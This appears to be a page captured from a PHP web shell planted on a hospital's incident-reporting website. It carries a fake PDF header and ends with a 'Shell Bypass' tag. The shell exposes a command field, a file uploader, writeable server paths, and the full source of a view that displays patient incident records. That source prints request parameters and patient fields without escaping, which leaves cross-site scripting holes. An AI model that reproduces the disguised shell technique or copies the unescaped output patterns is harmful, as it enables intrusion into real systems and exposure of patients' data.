%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/incident/application/views/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/incident/application/views/complainthistory.php
  <div class="wrapper d-flex align-items-stretch">

<?php include('_parts/sidebar.php') ?>
       <div id="content">
       <?php include('_parts/user_internal_header.php') ?>
	 <div class="main-body">
       <div class="headings">
		<h4>Your Incident History </h4> 
        <a href="<?=base_url('lodgegrievance/academic') ?>" title="View Details" class="button2"> Lodge Incident  </a>
                    </div>
               <div class="white-box">
               
          	 
                          <div class="scrolling-table grievance-process"> 
                            <table class="table3">
                              <thead>
								  <tr class="table-head">
									  <th>S.No.</th>
									  <th>Incident Number</th>
									  <th>Business Unit</th>
									  <th>Department</th>
									  <th>Acknowledgement</th>
									  <th>Acknowledgement</th>
								  </tr>
                              </thead>
                              </table>
                              <?php 
							  if(count($historyArray)>0) {
								  $k=1;
								  foreach($historyArray as $row) { 
									  if($row['category'] == 'Non-Academic' || $row['category'] == 'non-Academic'){
										$schoolArray[$row['school_id']] = 'Others';
									  }
							   ?>
							  <table class="table3">
                              <tr>
                                  <td><?php echo $k;?></td>
                                  <td><?php echo htmlentities($row['compNumber']);?></td>
                                  <td><?php echo $schoolArray[$row['school_id']]!='' ? htmlentities($schoolArray[$row['school_id']]) :'NA';?></td>
                                  <td><?php echo $departmentArray[$row['department_id']]!='' ? htmlentities($departmentArray[$row['department_id']]) : 'NA';?></td>
                                 <td><?php echo $row['employee_acknowledgement']!='' ? htmlentities($row['employee_acknowledgement']) : 'NA';?></td>
                                </tr>
							 <tr>
								<td colspan="5" class="table-collapse" id="collapse<?=$row['complaintNumber']?>">
									<ul class="list">
										<li>
											<strong>Incident Occurred</strong> : <?php echo htmlentities(ucwords($row['incident_occurred']));?>
										</li>
										<li>
											<strong>Date</strong> : <?php echo date('d M Y H:i:s',strtotime($row['regDate']));?>
										</li>
										<li>
											<strong>Status</strong> : <?php 
											$statusArray = unserialize(GRIEVANCE_STATUS);
											$numDays = 15; if($row['complaint_level']<=3){ $numDays = 5; }  
											$status=$row['status'];
											if($row['complaint_level']==1 || $row['complaint_level']==4 || $row['complaint_level']==7 || $row['complaint_level']==10) {
												echo '<span style="color:#fc654c;font-weight:bold;">'.$statusArray[$row['complaint_level']].'</span>';
											} else if($row['complaint_level']==2 || $row['complaint_level']==5 || $row['complaint_level']==8 || $row['complaint_level']==11) {
												echo '<span style="color:#f0ad4e;;font-weight:bold;">'.$statusArray[$row['complaint_level']].'</span>';
											} else {
												echo '<span style="color:#00c1a1;font-weight:bold;">'.$statusArray[$row['complaint_level']].'</span>';
											}
											?>
										</li>
										<li>
											<a class="view-details" href="javascript:void(0);" onclick="viewdetails(<?=$row['complaintNumber']?>);">View Details <i class="fa fa-chevron-down" aria-hidden="true"></i> <i class="fa fa-chevron-up" aria-hidden="true"></i></a>
										</li>
									</ul>
									<?php ?>
									
									<div class="box-default" id="div<?=$row['complaintNumber']?>">
										<ul class="process-list nav nav-tabs" role="tablist">
											<li <?php if($row['complaint_level']>='1' OR $row['complaint_level']=='0'){ ?>class="active" <?php } ?>><a href="javascript:void(0)">Incident Submitted</a></li>
											<li <?php if($row['complaint_level']>='2'){ ?>class="active" <?php } ?>><a href="javascript:void(0)">In Progress</a></li> 
											<li <?php  if($row['complaint_level']>=3 || $row['complaint_level']==6 || $row['complaint_level']==9 || $row['complaint_level']==12){  ?>class="active" <?php } ?>><a href="javascript:void(0)">Closed</a></li>
											<!--<li <?php if($row['complaint_level']==4 || $row['complaint_level']==5 ||$row['complaint_level']==7 ||$row['complaint_level']==8 || $row['complaint_level']==10 || $row['complaint_level']==11){  ?>class="active" <?php } ?>><a href="javascript:void(0)">Reopened</a></li>-->
											<li <?php if($row['complaint_level']==3 || $row['complaint_level']==6 || $row['complaint_level']==9 || $row['complaint_level']==12){  ?>class="active" <?php } ?>><a href="javascript:void(0)">Incident Resolved</a></li>
										  </ul>
										  
										  <div class="tab-content">
											  <div role="tabpane<?=$row['complaintNumber']?>l" class="tab-pane active" >
											  <ul class="section-container">
											  <li class="section">	
												<span class="date"><?php echo date('d M Y H:i:s',strtotime($row['regDate']));?></span>
												<p>Your Incident <?php echo htmlentities($row['compNumber']);?> has been submitted successfully</p>
												<p><strong> Details of where incident occurred: </strong></p>
												<table class="table table-bordered">
												  <thead>
													<tr>
													  <?php if($row['affected_person_name']!='') {?><th width="30px;">Full Name</th> <?php } ?>
													 <?php if($row['affected_person_name']!='') {?> <th width="10px;">Age</th><?php } ?>
													  <?php if($row['affected_person_name']!='') {?><th width="10px;">Gender</th><?php } ?>
													  <?php if($row['affected_person_ipno']!='') {?><th width="10px;">IP. NO. </th><?php } ?>
													  <th scope="col" width="20px;">Location</th>
													  <th scope="col" width="20px;">Unit/Dept/Head:</th>
													  <th scope="col" width="15px;">Date</th>
													</tr>
												  </thead>
												  <tbody>
													<tr>
													  <?php if($row['affected_person_name']!='') {?><td><?=$row['affected_person_name']?></td><?php } ?>
													 <?php if($row['affected_person_age']!='') {?> <td><?=$row['affected_person_age']?></td><?php } ?>
													  <?php if($row['affected_person_sex']!='') {?><td><?=$row['affected_person_sex']?></td><?php } ?>
													 <?php if($row['affected_person_ipno']!='') {?> <td><?=$row['affected_person_ipno']?></td><?php } ?>
													  <td><?=$row['affected_person_location']?></td>
													  <td><?=$row['affected_person_udhead']?></td>
													  <td><?=$row['affected_person_date']?></td>
													</tr>
												  </tbody>
												</table>
												<p><strong> Remarks: </strong><?php echo  html_entity_decode($row['complaindetails']); ?> <?php if($row['incident_attachment']!='') { ?>Click <a href="<?=base_url('attachments/complaintdocs/'.$row['incident_attachment'])?>" target="_blank" title="view details">here</a> to view attachment.<?php } ?></p>	
											  </li>
												<?php if(count($complaintremarks[$row['compNumber']])>0) { 
											
												foreach($complaintremarks[$row['compNumber']] as $rrows) { 
													$rstatus = $rrows['status'];
													$remakrs = "Quality Team Remarks:";
												?>
												<li class="section">	
													<span class="date"><?php echo date('d M Y H:i:s',strtotime($rrows['remarkDate'])); ?></span>
													<p>
													<?php if($rrows['department_status']=='1' && $rrows['levelone_status']=='0') {  $remakrs = "Department Remarks:";?>
													<span class="<?php if($rstatus=='closed') { ?> grievance-status closed <?php } ?>"> Your Incident <?php echo htmlentities($row['compNumber']);?> is <?=$rstatus?> & it has been escalated to the next level.</span> 
													<?php } else if($rrows['department_status']=='1' && $rrows['levelone_status']=='1' && $rrows['leveltwo_status']=='0') { $remakrs = "COO  Remarks:"; ?>
													<span class="<?php if($rstatus=='closed') { ?> grievance-status closed <?php } ?>">Your Incident <?php echo htmlentities($row['compNumber']);?> is <?=$rstatus?> at COO level & it has been escalated to the next level.</span>
													<?php } else if($rrows['leveltwo_status']=='1') { 
													$remakrs = "MS  Remarks:"; ?>
													<span class="<?php if($rstatus=='closed') { ?> grievance-status closed <?php } ?>">Your Incident <?php echo htmlentities($row['compNumber']);?> is <?=$rstatus?> at MS level & it has been resolved.</span>
													<?php }  /*if(strtotime($row['lastUpdationDate']) + $numDays * 24 * 60 * 60 > time() && $row['complaint_level']==3 && $rstatus=='closed' && $rrows['leveltwo_status']=='1') { ?> If you are <strong>not satisfied</strong> with the resolution <a data-toggle="modal" href="<?=base_url('grievancehistory')?>?key=<?=base64_encode($row['compNumber'])?>" class="reopen-lnk" id="">Click Here to Reopen</a><?php } */ ?></p>
													
													<p><strong><?=$remakrs?> </strong><?php echo  htmlentities($rrows['remark']); ?></p>	
												
												</li>
											<?php } } ?>
											
											<?php if(count($historyLevelFourArray[$row['compNumber']])>0) { foreach ($historyLevelFourArray[$row['compNumber']] as $levelfour) { ?>											
											<li class="section">
											<span class="date"><?php echo date('d M Y H:i:s',strtotime($levelfour['regDate'])); ?></span>	
											<p><span class="grievance-status not-satisfied"> Incident <?php echo htmlentities($row['compNumber']);?> is reopened as the user is not satisfied with the resolution</span> </p>
											<p><strong> Remarks : </strong><?php echo  htmlentities($levelfour['complaindetails']); ?> </p>	
											</li>
											<?php } } ?>
											
											
											
											<?php if(count($complaintremarks[$row['complaintNumber']])>0) { ?>
											<p class="note"> <strong>*Note</strong> Better check yourself, you're not looking too good. </p>
											<?php } ?>
										</div>
											</li>	
										</ul>	
									</div>
									</div>
								</td>
							  </tr> 
							  </table>
							 <?php $k++; } } else { ?>
							  <table class="table3">
							  <tr>
                                  <td style="text-align: center" colspan="5">No Incident Found</td>
                               </tr>
							  </table>
							  <?php } ?>
							 
						   </div>
                          </div>
             </div>
	     </div>
	 </div>
       
<div class="modal fade" id="not-satisfied" tabindex="-1"  aria-labelledby="exampleModalLabel" aria-hidden="true">
  <div class="modal-dialog" role="document">
    <div class="modal-content">
    <div class="modal-header">
        <h5 class="modal-title" id="exampleModalLabel">Not Satisfied?</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      
      <div class="modal-body">
	    <?php if($grievanceDetails['complaint_level']>4 && $grievanceDetails['complaint_level']<6) { ?> 
		<div class="alert alert-danger"> We have already received your complaint.</div>
	   <?php } else if($_GET['msg']=='success') { ?> 
	    <div class="alert alert-success"> Your complain has been successfully filled and your grievance No. <?=base64_decode($_GET['key'])?> is accelerate to upper level committee. <a href="<?=base_url('grievancehistory')?>">Click here</a> to view Grievance history. </div>
	   <?php } else if($_GET['msg']=='already_send') { ?> 
		<div class="alert alert-danger"> We have already received your complaint.</div>
	   <?php } else { ?>
	   <?php if($_GET['msg']=='error') { ?>
	   <div class="alert alert-danger"> Invalid Request. Please try after some time.</div>
	   <?php } ?>
	   <?php 
	   // Set Level wise url
	   if($grievanceDetails['complaint_level']=='3') { $issueReopenUrl = base_url('lodgegrievance/leveltwo'); } else if($grievanceDetails['complaint_level']=='6') {
	   $issueReopenUrl = base_url('lodgegrievance/levelthree'); } else if($grievanceDetails['complaint_level']=='9') { $issueReopenUrl = base_url('lodgegrievance/levelfour'); }
	   ?>
		<form method="post" action="<?=$issueReopenUrl?>" class="form1">
			<ul>
				<li>
					<label>Grievance ID<?php echo '<span style="color:red;">*</span>'; ?></label>
					<input type="text" value="<?=base64_decode($_GET['key'])?>" id="grievance_number" name="grievance_number" class="form-control" readonly>
				</li>
				<li>
					<label>Remarks<?php echo '<span style="color:red;">*</span>'; ?></label>
					<textarea placeholder="Enter Remarks"  class="form-control" rows="10" cols="80" maxlength="4000" name="level_two_remarks" id="level_two_remarks" required></textarea> <small>Remarks upto 4000 characters.</small>
				</li>
				<li>
                <input placeholder="Enter Reason" type="submit" value="Submit" class="btn button5">
					<a href="<?=base_url('grievancehistory')?>" class="btn defult">Cancel</a> 
				</li>
				<li>
                <br />
                <div class="alert alert-warning" role="alert"> <strong>*Note</strong> Better check yourself, you're not looking too good. </div></li>
			</ul>
		</form>
	  <?php } ?>
      </div>

    </div>
  </div>
</div>
<!-- /Modal -->
  <script>
  function viewdetails(k)
  {
	  if(k>0){
		  $("#collapse"+k).toggleClass("active");
	  }
  }
  <?php if (isset($_GET['key'])) { ?>
	$(document).ready(function () {
		$("#not-satisfied").modal('show');
		return false;
	});
<?php } ?>

	var textlimit = 4000;

	$('textarea').keyup(function() {
		var tlength = $(this).val().length;
		$(this).val($(this).val().substring(0, textlimit));
		var tlength = $(this).val().length;
		remain = textlimit - parseInt(tlength);
		$('#remain').text(remain);
	 });    
  </script>

Kontol Shell Bypass